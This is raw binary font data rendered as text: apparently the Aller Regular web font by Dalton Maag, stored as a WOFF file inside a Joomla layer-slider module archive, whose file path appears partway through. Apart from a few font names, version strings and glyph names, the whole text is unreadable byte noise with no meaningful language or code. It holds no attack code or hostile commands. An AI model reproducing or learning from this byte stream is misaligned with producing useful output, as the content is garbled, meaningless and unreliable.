+�K�H ����T/�ֱ9�9�D+�2�#�K2�#�L+��U+�9�99�D�4>$9�#�1A999�L�&99��"),999�#>�)9A$9�K�9��9014>3254&#"&5>32>32!3267"&'#".73267./.#"%!4.#"ZH{�[5V#wuF�9'F�P{�89�sj�o7�A��J�A��j�DB�pX�j>�-BK!B�1N#��d<Z=�7X�V++y^D^PTJZJ��h?��X+905)<%RX;F#
#1�D&X�9iM-�h��3=�+��;+�+�	�&/�.+�4/� +�>/�ֱ
��1+�#+�?+�1@
 &)9;$9�4.�#,79$9��9��999014>32.#"3267#632#"&'>732654&#"&'67&h@��T�;3oA����=g7B�V$
jm��U)
D:?OJ=9''�uɓV#Z#ϮŸU.\bLfg	?+')!md%f���*3|�+��!+�+�1�+
+�+��4/�ֱ�+2��,+�
�5+��9�,�!%*$9�
�
999��9�1�
99�!�'9014>32!327#".>32"&'!4.#"f<{�m�o9�5����D�b�ͅ>�=%!D�/17�<\?}�u˕XJ��h?��4X+P��6����9hN/�f���&4w�+��++�+�$�
+���5/�ֱ�2��+�
�6+��'+/$9�
�
.$9��9�$�
99�+�29014>32!327#".7!4.#">32#"&f<{�m�o9�5����D�b�ͅ>�<\?}�O�A#%=��5!.u˕XJ��h?��4X+P���9hN/����f���2;~�+��"+�+�9�3
+�3��</�ֱ�32��4+�
�=+��9�4�%)1$9�
�
&$9��9�9�
99�"�)9014>32!327#".>32#"&/#"!4.#"f<{�m�o9�5����D�b�ͅ>��C?�0?��;;"<\?}�u˕XJ��h?��4X+P��2������9hN/�f���3<P��+��+�:�4
+�4�1/�J3�!�$'@CF$2�Q/�ֱ)�)+��/��42�)�=+�H�5H=+�
�R+�=)�:$9��9�4�
99014>32!327#".467>32#"&'.!4.#"467>32#"&'&f<{�m�o9�5����D�b�ͅ>�77548?<\?}�T77539u˕XJ��h?��4X+P���3/821�R9hN/�A35233/����K�+�+�+���/�ֱ��
+�
/�+�
�9��99��	901>32"&'467!#"&'#.=%!D�/17�L78�����+��{+T��T�M�+�+�+�
��/�ֱ��+�/�+��99��99��901467!#"&'#.>32#"&TL78��A#%=��5!.�+��{+�����}�$O�+�+�+�"��%/� ֱ��+�/�&+� �99��999��901>32#"&/#"467!#"&'#./�C?�0?��;;ZL78�������+��{+��h�%9^�+�+�#�/�33��	),/$2�:/�ֱ��!+���+�/�&!+�1�;+�&!�901467>32#"&'.467!#"&'#.467>32#"&'&77548mL78�577539;3/821��+��{+�35233/h��;�.:{�*+�2�8/��/�	�2�;/�ֱ/�/�5+�%�<+�/�999�5�"*$9�%�9�82�%99��9��"999��99014>32.'.'7.'&54677#".732654&#"h<s�pN�0)XB�$
�/g9

m�N�'#G%��;y�}}�y<Ն��������m��M3/m�5};Z+59/r=+��}�ۚTL��n�����������(C�&+�3�+�+��9/�:3�1�02�>19+�=3�,�-2�D/�ֱ#�
2�#+�#�+��E+�6���K+
�=.�0.�=�-��0�:���$ĝ+�-�.-0+�/-0+�=�;=:+�<=:+�.-0 � �#9�/9�<=:9�;9�./;<....�-./0:;<=........�@��&)A999�#�,19>$9��4699�19�)6A999013>32>32#"&'4&#"#"&>323267#".#".�*&@Rk?��87Zc9fN/798bC+NHJ)#;+-!dA+NJH')9) i"#E7#��fb��)V�a��\);!'7F'9!#;d��7� ,[�+�$�+�+�*��-/�ֱ!�!�'+�
�.+�!�9�'� $9�*$�
99��9014>32#".>32"&'32654&#"d<{�{{�{;;{�{{�{<�=%!D�/17속������uɓVV��uuȔTT��-���K��Ͷ���d��7�-[�+��$+�+���./�ֱ��+�
�/+�� $($9�
�'9��
99�$�+9014>32#".732654&#">32#"&d<{�{{�{;;{�{{�{<׆�������T�A#%=��5!.uɓVV��uuȔTT��t��Ͷ������d��7�(4b�+�,�+�+�2��5/�ֱ)�)�/+�
�6+�)�9�/�'$9�
�9�2,�
99��9014>32#".>32#"&/#"32654&#"d<{�{{�{;;{�{{�{<��C?�0?��;;��������uɓVV��uuȔTT��)�����T��Ͷ���d��7�.:�+�2�+�8�$/�%3��2�)$+�(3��2�;/�ֱ/�/�5+�
�<+�6���K+
�(.�.�(����%���$ĝ+��+�+�(�&(%+�'(%+� � �#9�9�'(%9�&9�&'....�%&'(........�@�/�,99�5�$)$9�
�!99�82�
99�$�!,999014>32#".>323267#".#".32654&#"d<{�{{�{;;{�{{�{<�bC+NHJ)#;+-!dA+NJH')9) G��������uɓVV��uuȔTT���);!'7F'9!#;�ն�Ͷ���d��7�)5Iu�+�-�+�3�'/�C3��9<?$2�J/�ֱ*�*+��*�0+�
�A
0+�6�6/�A�K+�6�-3$9�3-�
99014>32#".467>32#"&'.32654&#"467>32#"&'&d<{�{{�{;;{�{{�{<�775481��������q77539uɓVV��uuȔTT���3/821���Ͷ���x35233/��!�
%7�/�+�/��#/�+�&/�ְ2�+� 2�'+01467!!.4632#"&4632#"&�e��%R;9UT:;RR;9UT:;R�3433��9UT:;RR;RR;;QQh��D3 (1t�+�+�+�+�+�&��2/�ֱ!
�!�.+�
�3+�!�9�.�$)$9��	999�+�99�&�$#1$9��9014>327672#"'#"'7.7&"32654&'h<y�{\�:3--y53;y�{�q'!(/h=<�'�Ft��m@h��uɓV3-?�J�muȔTN3�J�t�ZJ��8Ͷ;c+�����+W�+�
	�"+�+�3�,/�ֱ��+��-+��9��"&+$9�
�9�"�(901>32327>32#".>32"&'�89%JjFhJ76H�kd��Mp=%!D�/17�H��b�Js�&#k���������,W�+�
	�#+�+�3�-/�ֱ��+��.+��#'$9��&9�
�9�#�*901>32327>32#".>32#"&�89%JjFhJ76H�kd��M�A#%=��5!.�H��b�Js�&#k���������3b�+�
	�#+�+�3�4/�ֱ��+��5+��299�� &-/$9��'*99�
�9�#�*901>32327>32#".>32#"&/#"�89%JjFhJ76H�kd��M\�C?�0?��;;�H��b�Js�&#k�����������4Ho�+�
	�+�3�2/�B3�"�%(8;>$2�I/�ֱ�+�*��+��@+�5�5/�@�J+�5*�
99�
�901>32327>32#".467>32#"&'.%467>32#"&'&�89%JjFhJ76H�kd��M|77548�77539�H��b�Js�&#k�3/82135233/��(6��%+�"+�-+�+�
33�/��� ����7/�ֱ��+�

�8+�6�=*�(+
��!��
���!�!+�"!+�! � �#9�!...�!"....�@��99��()-1$9�
�09�-�4901>32	632#"&'46732>?"#"&'>32#"&9A#-+99�h=N`@/\#@%/)"?#.�A#%=��5!.�/��TsE/I%
91������L�-��+�3� �2�+�+�(
��./�ֱ�222��%+��/+�6����+
����������+��+��+� � �#9�9�...�....�@�%�99�( �9��901>32>32!"&'#"&32>54&#"�77)�u\�p@���+_%87�'T@JzY3w�3aI.����=`?����
��/c�g��#JpN��(>R��%+�"+�+�
33�/��� ���</�L3�,�/2BEH$2�S/�)ֱ4�4)+��/��4�?+�J�J?+�

�T+�6�=*�(+
��!��
���!�!+�"!+�! � �#9�!...�!"....�@�4)�(999�?�%901>32	632#"&'46732>?"#"&'467>32#"&'.%467>32#"&'&9A#-+99�h=N`@/\#@%/)"?#.�77548�77539�/��TsE/I%
91�;3/82135233/q���):��"+��%+�/�+��+�6�%
+���;/�ֱ*�*�2+�
�2�2
+�@	+�@	+�<+�2*�%99��"9��29��*99��39014>32!!!!!!#".73267.#"qR��;�5����!h��7�;��P�3i�gDn//iAf�k7ߦ�s
00�Z/0�/1
q���՗PP
P��j���3*6=�� +�&3��.2�+�3�4�;2�7 
+�7��>/�ֱ+
�+�1+��72��8+��?+�1+�&99��#99�8� 999��999� �9��#99�7�+1$9�4�9014>32>32!3267#"&'#".732654&#"!.#"j>{�y��<5��h�n:�E��J�AF�b��9;��y�{>ό���������s{w�uɓVpcbqL��d?��X+sihtT��t��Ͷ���P}��%���'+@`�+�+�3�*/�$'8;>$3�� .14$2�A/�ֱ"�"�+�
�,+�6�B+�,"�99��901>32	>32#"&'47>32#"&'&%47>32#"&'.%=?XT59�357�59	77�7758��$��Z���36/89/33/:52531��T�#�+�
+�2�/�+�
�901>32#"&/#"��C?�0?��;;�������b���/�3��2�+�3��2�/�+�6���K+
�.�.��������$ĝ+��+�+��+�+� � �#9�9�9�9�....�........�@��9��
99��901>323267#".#".�bC+NHJ)#;+-!dA+NJH')9) X);!'7F'9!#;`���
467!!.`��=3424`���
467!!.`��=3424`���
467!!.`��=3424����
�/����/�+01467!!.�=/-./����
�/����/�+01467!!.�=/-./f���h�+�		+�
/�ֱ�+��+�6��$�+
�.�.�������....�@��9��
901>32#"'f73y130��8f���
m�+�
	+�+�+�/�ֱ�+��/��+�6�=��+
�������..�@��9��901>32#"&fy363/���7f���
d�/�3�	+�/�ֱ�+��/��+�6�=��+
�������..�@��9��901>32#"&fy363/���8f�7���+�3�	+�
2�/�ֱ�+���
+��
+��+�6��$�+
�.�.��������$�+
�
.�.�
������
........�@01>32#"'>32#"'f73y13073y130��8��8f�9�
��+�3�	+�2�+�+�+�+�/�ֱ�+��/���+��+��/��+�6�=��+
�������=��+
�������....�@01>32#"&%>32#"&fy363/vy363/���7��7f�9�
��/�333�	+�2�/�ֱ�+��/���+��+��/��+�6�=��+
�������=��+
�������....�@01>32#"&%>32#"&fy363/vy363/���8��8���.�/�+�+�/�ִ
+�
+�+014>32#".�)G`87^H))H^77aG)�7aG))Ga77aG))Ga{��c�/GS�+�E'*-?B$3��9	!36$2�H/�ִ!+��+�$!+�$�0+�<!+�I+017467>32#"&'.%467>32#"&'.%467>32#"&'.{7979�7979�7979q;997;997;997dT���/�ִ+�+01>32	#"'dT39��M790#��>�7XR��!�/�ְ2�	+�+�	�9017	>32	#"&XP��75V��19\���:�;'����D��?+�7�+��� ��	�C?
+�,3�C�32�
?
+�%3��2�E/�ֱ)�)
+�@)0	+�"2�)
+�@	+�2�F+�)�B99�C7�:901473&45<7#&54736!2.#"!!!!3267# '#&'
��

�/-u�BD�L��%����'ˬV�>)V�g����-�
)%#+2%'"�!/P-��#(3+!'��PZ%!	�/m5�7��/�	3��!22�
+�@	+�(622�8/�ִ+�
+�@	+��+�4+�4�++�%+�9+��99�4�9�+�99�%�!9��$$90147!##"&'#&>32>32#"&'#"'#"/k�$'��)(+��',)"'�'�'%'Z#+#%�c�%�>3�?���
��i��'�+�+�/�ִ+�+�+011!��7��/�*��$+�3�+�3�)�2�/�3�	�2�+/�'ְ2�!�2�'!
+�@'	+�!�+��,+�6��»+
�.�
����
����+�	
+��
+�	
 � �#9�
9�

	....�

	......�@�!�90147354632.#"!#"&'!#"&'#&7���R�T=eH5ZB'y77�P79��-#I��/U"3\HC��{��{!7����8��+�23��+�(3�7�-2�"/���9/�5ְ2�/�'2�/5
+�@/+	+�5/
+�@5	+�/�+��:+�/�9��9�7�9�"�9��
901473546323267#".5.#"3##"&'#&7���h�N1-	P#DjI%#V#7^D%��77��')I����PZ/
#P)
P�g�3\HC+))%��y'7����G��A+�/833�
+�
�
� ��$3�	�2�+�+�*33�F�3<22�H/�Dְ2�>�2�D>
+�@D	+�>�;+�2�5�)2�5�2+�,�I+�6��»+
�.���!��#����+��+�#�"#!+� � �#9�"#!9�!"#.....�!"#......�@�;>�
99�25�90147354632.#"!54632.#"!#"&'!#"&'!#"&'#&7���5["5%+H1���R�T?eH5ZB'y77�O69�E79��-#?��
5J%
3ZH9I��/U"3\HC��{��{��{!7����U��-+�FO33�$�+�<33�T�AJ22�/�	�2��6��V/�Rְ2�L�2�RL
+�@R	+�L�I+�2�C�;2�CI
+�@C?	+�C�2+��W+�IL�
99�2C�9�T$�'9�-�
399�6�
990147354632.#"!546323267#".5.#"3##"&'!#"&'#&7���5["5#+H1���h�N1-R"DjJ%#V#7^D%��67�C77��')=��
5L#5ZF7I����PZ/
#T%
P�g�3\HC+))%��y��y'�_<����G���G���}���f������D�Q�\�����fZw���f�f�N���)�`�{GH�d���u�b�D�������m�m�{;�������Xs�!���y��I��ry|�9�+9������p��}���w��\^5+d�-^7�+�%�1�fKB�ff}
"b���f�jrd�7lL��MTQ���b������d���j���b�#��?#3-%;�;Of��Of�'Q������X�7��~���j�d���`�h��R������
���f�!����Xf�ff��}�!�!�!�!�!�!`���wI�I�I�I�9��9�9��9���p��y�y�y�y�y���sd�d�d�d��%����"b"b"b"b"b"b�Z�htftftftfM��MTM��M���h���d�d�d�d�d���h��������7��7dqZj�%����}�}�??�j�`�`�`����fff�f�f�fA��{�d�X��'�/�77Q7�7,,,,���pD��(v��2Z��J��		,	�
>
�4Z���
d
�8��4~�Hr�4��P�B�d��.�J���(X|�&��J� \�b��t�.�$|  \ � �!j!�"B"x"�##�$$$j%&&�'.'j(�(�)�)�*4*j*�+P+|+�,F,�-2-`-�.$.b.�.�/L/�060�1�2�33�3�4�5z66t77~7�8V99D9�9�:\:�;�<(<�="=�>�>�?p?�@<@�ATA�B B�CHC�D�E�F\GG�H�II�J<J�KPK�LL�M,NN�N�OxPPP�QNQ�RFR�S<S�T�U:V V�WhW�X6X�X�X�X�X�X�X�X�X�X�X�X�X�X�YY>YfY�ZZTZ�[P[�\\�\�\�\�\�]�^8^X^�_�`ja6�Y�
~	
	
	6	N	h	
�	 �	
�	��	�0�AllerRegularDaltonMaagLtd.: Aller: 2008Aller RegularVersion 1.00AllerDalton Maag Ltd.AllerWebfont 1.0Sat Jul 12 07:49:28 2014�gf�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������	����������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~����������

�������������glyph1uni000Duni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouni25FCuniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�+�+D� E�!+�+D� E��+�+D� E�r+�+D� E�W+�+D�	 E�I+�+D�
 E�	/+�+D� E�
!+�+D� E�'+�+D�
 E�+D� E�
�+�Fv+D� E�
�+�Fv+D� E�+�Fv+D� E�S+�Fv+DY�+S� �PK!���nl�l�@mod_ap_smart_layerslider/admin/fonts/aller/aller_rg-webfont.woffnu&1i�wOFF�lFFTM�`���GDEF�IV�GPOSL<p�G��GSUB\�859OS/2,Y`��n�cmap����@X�cvt BB�/fpgmT�eS�/�gasp	glyffP�lUjORhead�h16��
hhea�� $m�hmtx��U��]�loca�����(maxp��  �name��x�=�post����y2�prep������L�webf�d �S��=���ъ����Gx��M@@D�7+Gs#�
'�1�\�dn1��T�զI@c[�j��\#��M����;�>��ͣ_����|�x��[
pT�u���j�� �_I!	�g��R�	qSBv��I-�Ic'�v��ԡ�Sʨ��xJ]W�J54CJ7
C=���T�Uզ�hƓ�h2^��ݻ���'�֝3o��ݷ��s��{�yw�%���.�QX���#{Dשּׂ[>�HT	�8����ß��O���~����|�p_P���g�����_>j�XO��~�R`(�z,��pMdA���%� 6#�Y�^�x���Ū/U?>wg����Ƽ�y�D�+�;V�����_Z�آ��v-�Z�m���N4�4��iW�͝�7Z�Z�Zi=�z��'�~�6��I1������l��Q߱�c�㧝�:O/�/ٳ�xW�뾮ot��zwi����w���݃�_�~�-K,۰lϲ�=ើ�������y�7���پ
}�,�����]+FV��jު-���jzu�꯬~y�=k>��� ݷ�*�����b��=�_\?o��lk��{X<�����`�zm�����^�_
�ʇ�/�W�n/~+�*�Z�%�E����V1�o��-��c�e��{��9�8�L�jZ��v:��]�N�9�L:�8�_�@�EA�
b�h�X�bc�=WďѬ��VA��j����� Q�R&~�6�F}/��R�qos���H=��`��`�SK|KA_C��6$,�R&^��N@��Ak�!���E�,d��g�Od �⇐��Bj�O ��uH��
�Vo��w��fC� B|I|��}�Vn�x��'�Wa��3��bX-F�ش������蓐��:Ģ&~���19���BdW30^��w�=x߁�/j��c�z���~3#����,)gy�:/�o(��zH����h����$�%��6�B�q�b��H���q+1N��Eq�H�Cĸ�'�q-1��(ΠM�t�H�
�M,�D�}��iŻe��S��O8��/�G�)��9��s�
����<��K* ��'/�RA�Xb	�G�Ɂ�"(�@r�!�����&H�ܨF��M�$Ol��ȓJ�$E�T�7 �5c��ԷU|��S�n������ḡ��,�o�����m��F��MdD&Hd�D&L�h)��'�S�4�����c���a���y�9�(��xA���:_џ��:������b]��ϱ{R~c赘�5�F�֎s#F�p�����(�ӱKbU%>�/~RG�,�,�}��� -�6�~	Y������azԈf)�=H���V]H�.$΍�
i��3�h���%��D��x���r�"m�����19�|�H��:"�Xd1��F�W��j�+�9���bTS�w����ы���J��sةcʹ
ǝkΛr.2�_�"��$q
�0q��8�H2���D��f��a���?� ��(���8#O������ƈ<qF�m��Ȋ���'�-�w#��P����8g�q�Q��Y�9;�o%��p���\F<S���WB��@!F�0��E��V�K���*���/��hGr$B�$��|j?_k/Y!k*��ȝJƧ*�c��.������
j~��`i���h�bڗo�\�q5����&i�ћ��C��:'��C̡j\�KMsY��e��X��I#��GTD�����\�˷Tv%-0��� ޽����u�ma�
o�v�>���� m�YK
��0N
+�qB�)�]?�
P� �
Qs��F�g��.Ft�
�
��M�r��$���-Nt˨[~�u[	6[\E�i[%����h��z8<�|Zi#���θ$j	�V^"K���AňZ��%���0�OiV[��m���{�cN�s����F~Fi?��lj�\���j[�l�0�%~��G�;�e����S���nD��z
���z\g��)�:���;v�y�\G^�p�����}�0�<��8���G�6ƿ��� �:ȸ^D�z�����D�G�D-@Ԃ�7D_�8�*'^)f�s��Zf����c+��4��d�����2��}��V0R�b�^#>`�^Ǩ�k��dw��ݒ>r#@n�w ���j'CRdH53�f�<i�|��#�:2'@��W��%]�F��:f�s��\m �h� ��|?����b �˯9$[p��3�s�"�z�m>�;V��c�%�k��\��Yf�����8��������,�_3�o��y}�j9�^��d��b�fn�E�q�i�>Mu�;�;�N��i��f1Y�H�4�5�dM;Y�I�t�5�Ț^����Gv̿
;fx�(�E#y�L^4����P���#��*��VϟÊD�¹��"=r#W�r>8ų��OqV�pv0�c�^y~N^��ǸF�e��ũ4Qi!*-D���Do���C���H�r�QM<��"��@<��G+�h'��`1����U܎��~����o���7���41h!5��j��:��zX�F��C�8y��xV�Z����O
+ּ���˵��ZjYA-+�,{
��gV9ps2?�d�]�曗�I?�lv�y3��A���<�,��<��c�;�y}��!��F��3h�צ�vN��g��
��4"C'9�i�-��!>T�Ε�[j��ydeY�B�����Da�{�[�=�g1�,(�!�Dv.Y�B|ۈo�-�6r��X�1��s>���U�os����E.�O �ӕ�s�RG�'K�_u�0kgQ�*�ni�
��,���>�qY����	�/1�>�8�u�0>=�lg�yI�@�L8W�p�d�j�l�Pq�)J&ț\�S�'�}tVk(���!j�<�t�y1G��L�D�oZ�DZ�D"H>������������1��Y5;������5WA�:;��s
���W�M��i�c	�H���LF�+�q���b�3��L���8�!α�9����#�T�>�O�h��`��	�V%�����(��B�̶�l�"��d�b�E��Z?Y"kC�k��;�dm���*�m��`���o���=����3�N"z��^X�<�d
k�'�;|��3�6�?�+g����OJIh�T5���n��XF�=��%b�-I�*����H�H�釖Q[7�P�x&�g�x&JVt��J���޽��m��-�&��|my��XPe��
���1��>����=T���"5h9�G��}�'����?󬘧��ɃrQ�ƒ�A�j�1��êv{_�v[�9TΞ2.L��q���'~K\�/�{}�}��F6�@,���^���O櫏�)�ԡ
Y�Ži���?O؊���6��-�CF�t~v��6w�0��+��x��t��gQ��2��|�y�5k>�>��<)�O�^uU�6�,{��j6�e��m8w��⊜6g	�Z����'�̬�'\�WZ%L���drt#�p��*��sfP��"YɛZ�p;o��)!�,tˑu�R|LA�)�19&�4���'�\�2)_���i�@�I��U�)�>Q:G#�3���֐��/o
|��[+g��
��32
��g8�Q�h�Wђ3�9k)��~�
�$~��eY�RD��k��x&�v��oAF��Z�ϳ�5k���;�������IA"d!�=Zl���|�������O�ϝI��{��*NZ��&���</�r�|'v�^�s�z������S�\VA¬��uz�U�2�1�*H9�P��
K�T��g�u�Y%K����j��&h�$�MЂIZ0�Ǿ���O����o���nh|:��pA�i�P�u{s&���~a̠�hg��7�!��S�']s���O���W?=ѧ����ms�Ѥ���×�㓮hp�2��\$�,���z�bB����RK�u�g�{�Y�]NR‘q��C.��|;�lB��6^_+��J�?^(�H�Oz�奄|�KŁ�7x#|�d
��,�z�^aϴ4O6�C|=���!gG��[��'s�K�Eߋ�N�O›��~�S��������A�m�;^�^�=3�Ô�w�m=xǽ���2g���%���q�Q!丣z�U�B�>��G��vhּ�����x_��u����NО�7i�a��`�e��:�8N�T�\�q�J�b�٧w
�����u����a�H�-".[��^KdTŬ�U
ů����@}��ø�Nw���\�O
���t��w�
�3�+�K�e�~w|TU=5��x�c�X������'kj�
P�9�O�8��\.�s��c��E����PI�e=;�|��)�#���iF�#�i���� ~�+wX���x6|l�^-���,�`�g�8@f�wE��#�F�k���a�g�>�\'b�z�H��{�z�ቨ���q��.ք�F��ut-�nhce��rs�o�qD�Q��^�OK��U+�R=�1d�#���mjgS;�[J���������pC��A�t�`$>��Wb$���V���<�X��5^��on���Wd�-��BH�<$|z�!Y�ӫ�R3]��=g���:4P�:TV���]ͷnwK�v׾�v�����<��G8���-l��-��3��͏Hq�`^\O7o�|Y>�����"�n�2��bƎ��m����q/�w��,�4~���3N/�Rv�ݫ�/Zb���܈�i�c���䮝q�]�;�7�\Y'������S����Jcwl�ھ&������1d�{�{�TM`2w��a�o�7(�ڍ��yr�i>qA6�Ⳝ��O��{�M�v��3��!����<���DFU8R;;#zg��~�(���Ռɝ\rlrw`Fϭ�.
�E~��@/g��փ%~�kd���|�c� ����O�9Z��nZ��{��?��9��^�>���a?|5��0V-R�8v�`,:��fwU�q�{���?�r�d���u�
2;�:���\�:��y�Y�!Gjg��%i��R�՞ kA��!�ZP�����T>���P�\�_�'ŧg�m�-9?~�`#9|��s^d�'�pg����'�XI�P��	���):3�l�z��n��E#� �6fH���O1���έ�����2S�|���g�J�q��\�fg��
�}r��[������3(�f�̭�P��g�眝��OY�m�JEU�R������2�QNj[�B
!�xڅ�[K�Q�����d.��B‹)�,k:y��A��B/&G%������������9�C���_1�ߚ�с�o���޽���G\6=��Z�h��E�:�P!��"�J�'�W'I���\�Msf*���/{q:�y�#��Ky�.�39.O��Q~Ib�ʲ;�hI&��i`/����$)�#�1#�Y�ڿ��E�ѹ�ҩ�{��㣆vn��^/�t�G�O91�H�@�:��<�#�,V�i��ض�bH2��!o���:��,��p�����&�?��l�uB�1ì�;٥�:e�{{��S�~M����ͽ�7Ė!ٔ?�f����j"��3�7�%+Z�f<)�\�C�c?͚�AZ8�a���Q�����INqZ/��N���ns�y�r����"x��<�1Ox�3��^��+^󆷼�=����%P��W�k|f7_X׭�څ�i�Y��_��_�ZSx�c`f	`�����:�՘��QB3_dHcb```b`efQ,�0(D3@����#��o��i�[��&��X�Y)fUs
;x�c```f�`F��1��,;�������P��1�����.)9%5}+�x�5�J�~�����Գ�1��AA@ABA�����_�?��������zp�����{����,�����[/Y�B�F$`dc�k`dL�
�^faec����������������WPTRVQUS��������70426153��������wptrvqus������
	
��������OHdhk��<c��EK�-]�r��5kׯ۰q��-�vl߳{�>����̻���e1t�b(f`H/�.��aŮ��<;��^RS��C��^�u�����0<~���s�ʛwZz�{��'L�:�aʜ���+j�b7D�������������������������������Dx�]Q�N[A�
��� 9�����{�	�Սbd;��i7r��q@�D
گ���H�!H|B>!3k��4;;�sΙ3Kʑ�w�k�S�$����6�NH�����덌��Zlf��u���є;j�=o)M;�Z����
����;�4���:	�!�qK��ͺ�����b00����.?�R��4�j˰��Ѽ�3��4@Skm���!��qK�˦�6����$���tUS���]���`�*́��Vy&ҷ$�,
�b���
9����@�HƼIJ;ㆵƑ��6O��<�Mmo�Y�w�K:�Ȇ�b;b)�	DBFU��Ͻ,�R��@��������D<��u1Vz~���ˊ�V�΋Bwo�j��)�^ξ���Ac����J��<,�4hCz7z���ꈫ�>�'ӿ�Z��xڼ�
|�7:3�dY�G�X�Dz,˲�X��``�q�q�^��Pb(�J(K)uY��e)M)IH�$%)��\~�,;#;4����i�fs���ln��͛7ͺo���6��=癑-�!쾿{�����|<��y�sD1TE1��F�(U�єԒ����$5�˖���SJ3�m3��X��K-��Π3t���l5�pv���.�]�|$u��y���J�Bԗ����bZq�,k;��
�Ɍ��b�Z-��sZ�1����*1��9��J�	���s{R��5
�(I�1-r�2�ߥ(
��9�K
*��tCcz9-'�B]��,:TU���M���bY1-��"�����,�pR$%�ѭbs9k6�{��=|޼��^�Z��=���[@W!P�H#��4k)��Ղ<M������i @��iV���kv��1���U�p;�9aD��=�\�KR2E��;5d������qsg0�I*e�m��ZF-�P�"M��&�f��L���j!�QL��T�RWSSI����U���!73U��C6�9�Ry����i�cf�.���i������݅O٭��k%@�Y�/�G��#j�4���i�tLm,{��ŋ�����U�u��NM�l����#�O���x+���ש�:��ז›~�p�3<;Ŧ��ؔ���+|�[v�I=?�/����T�R?<PE^C�5���L�<�$�ٔ������3S��'��}�#��Ŀ�^N����<kF�U����-���Om/C�ݡ�T@��h�4w"{K<��I�U4D�����p��dY�&f�Vx��˄���}K��A�=�]�Zp) Ť���ayB�%Y�>�e@�������Y��>e��R${�_���A�����]� ES�^��fn?��z��t�l�
g2D5:��2�pO���ʂZ�T�9���Qky��-$���JP�D1�~��mk=0CM�����jAQӮ�#���8�:	��K����u�Ӕ�V9�L�Z��t�a����t̖�TC#�u�p:�('��
Z�,u0�O�+L������PU�([��>��ı��;{�[7��>�	D����b��]3yOu���ޯI?��kxW�m�[�6�F�c1�j�6�_�Q_�ж�=�J��V볬(y�=�?��9���G(�_0�l���<c���Qn*@-�ک>�1*~fZ��]����&�g���s�J��t���&��9�zx��j�S���N;x��4�~8�˧�͕1d�ͩ�*�*��T0��[�Vs������;V��&&�M������匜�`J<9��x	�k��nZ7X4�΃�Қ����]+Ik��������o�u��Κ���>��RHL�*�o��$�y|Gw���GF��ݽ���>��C~z����̖\�!�v\��s�ߦd��z��H��4hv2�k���X.��Z�53j���
�ox�_yΩY���K��oi-��%��`2���ǒpH���Ef> ���K�j%�zyZ��
�jVT�+cuW��9U��v��N^zM�L��A78Y/�rЙ���L+�gvDVݖ��գ���Y�x�Ը�5���>I?�c��YY6���w�m~���;���ֻc0N��CB侉ѽ#1�'�T�Pzex�v��fCqaII��]��Z�����jݸo�����
�t7�!*â��G����#���rw{�k~��Q&µ�qS�ZI>������ɯ��ָ`��a6ĺG$��\L	���-[��A����/�tǘ-G�O^Z�_;���_|!����cx��O� �����i%�߿�q��::b �U�a@Td|��2ߚE���v�bݣq>�"{2v�c�텗��п���O���h��O~�
�`��S�C�ᬈ�QA*B5Q�b䫃�x�k����v;�bp�Q�4w1@ �PF P���Ҙ���Ԙ6s�I��O�ut�A�J�r��^�R�o
Ҕ=��`�#pR�_��@�S�x<�C��ག,��T�z!�nh[�b�;�ɻ�$�Ƈ�7�B���e��YQ���x��+���n�J]dE�UN�P�_R]�Ƙf�B�{8W�B�#J��jJ�fKf||�G�<�0���&�;ˠ�8�5��b�B�G�šYs��}qA�d��2�'��v�r�!�$o��Z�mQ[��L}D٩��j��M,U�.�T�����p�5�Q�6-�˴��w�X��U��j�U����4@g��6E�,pd�A �S0�Gw�d��l�'�ć��XKa��518���{��0H?H���|g��:pL[�8��b�1�.���kY�q�i�8k�O� $ݮ��	��ۨ�RU�{p�N۝T����8�4��P�G��R�Z8��&h�[=�8z.�7Q`/�(/�)D������|�R�C��O�I��	�s�Է�d!6}���-�V�O;a� A(�(if�L�zx�yg�$��E�\�sF��F)����wN>?9��d{��K��g&��:r���a�{���
N_|�Х��/��O��ŋ�=9KQl�,S.�����l3��T�"��[R�4�c&cr�]@�A0����l�ɭҨOnZw� ��Ns}�](|�bC�-1�J4���ţR<jں/���7����f*��c��B�AƝ�~�+��B��*pf8�����R����M:c,�-D�1�tN%���n]�gr��m|���n׊�~�E���V?�f��;6�7%.F�ご��u����������:~��c�R1j�R���HAWv���p�K%��V]4CPu!��O�cT�Ù19�q���R4�P?� (r9c���0��19�5�\H�<8ֿ}ˉ}ѡ�������8{紮=0���;6<9��++{���
E���z�7�
�b���=��j	t]�d5���vPj@RKd�WՑ̘(s�
��W<�rIMT�$�+��Q��BJL<=g#s�S������b���[��g�R)@������lH��K�%�r��JO�C0�,�ñN��A�w56'��u&��xf\	����0`��m�%R�����cz@P�%�~q�y!�j%O,��4���)�iD0���m��p��]�mߐ<���y
�����	N���co��όƇbBك�+o�yx�4���+���֣�&��h�M�6e��
��JR�L9ΐj��m3Ӯ�rD�.db`���<q�8s�D'P��Qg��*G�\�f!n��|6%+��q5V���T�%��9��s���	�9O����G��S{���vf��'�߹�����b�_R���3�i����|"�Y��o���w�ߝޖ���D{�w��n��m}�_�
E����]�Į9Q~��f�38! Ǭ^G�a���u��$x�:{��S4{h�+�z�q�f{m��"���b� ��T&�����a���"l�;]ͫ
h;�np�-m	�lxw9��W�n,o ;�JH$��k��*����eN#O9F�M{q��*
9{�9=rG����Ț5G�w}k}j�Hz���/��>8�������z�M�D�cDJ�yGd�_�wO�wy����54���}L:�o~�X�Gvo��=_Q�؛v�ҽk�{�e1�#�l@۲�n��~vЬ���SwRɓ��(��8ԁK�����D�b�KK��Ե�3S\n�3�K�o<�U���;�E��A�H���N��XKMݼ)���T����C��6����D
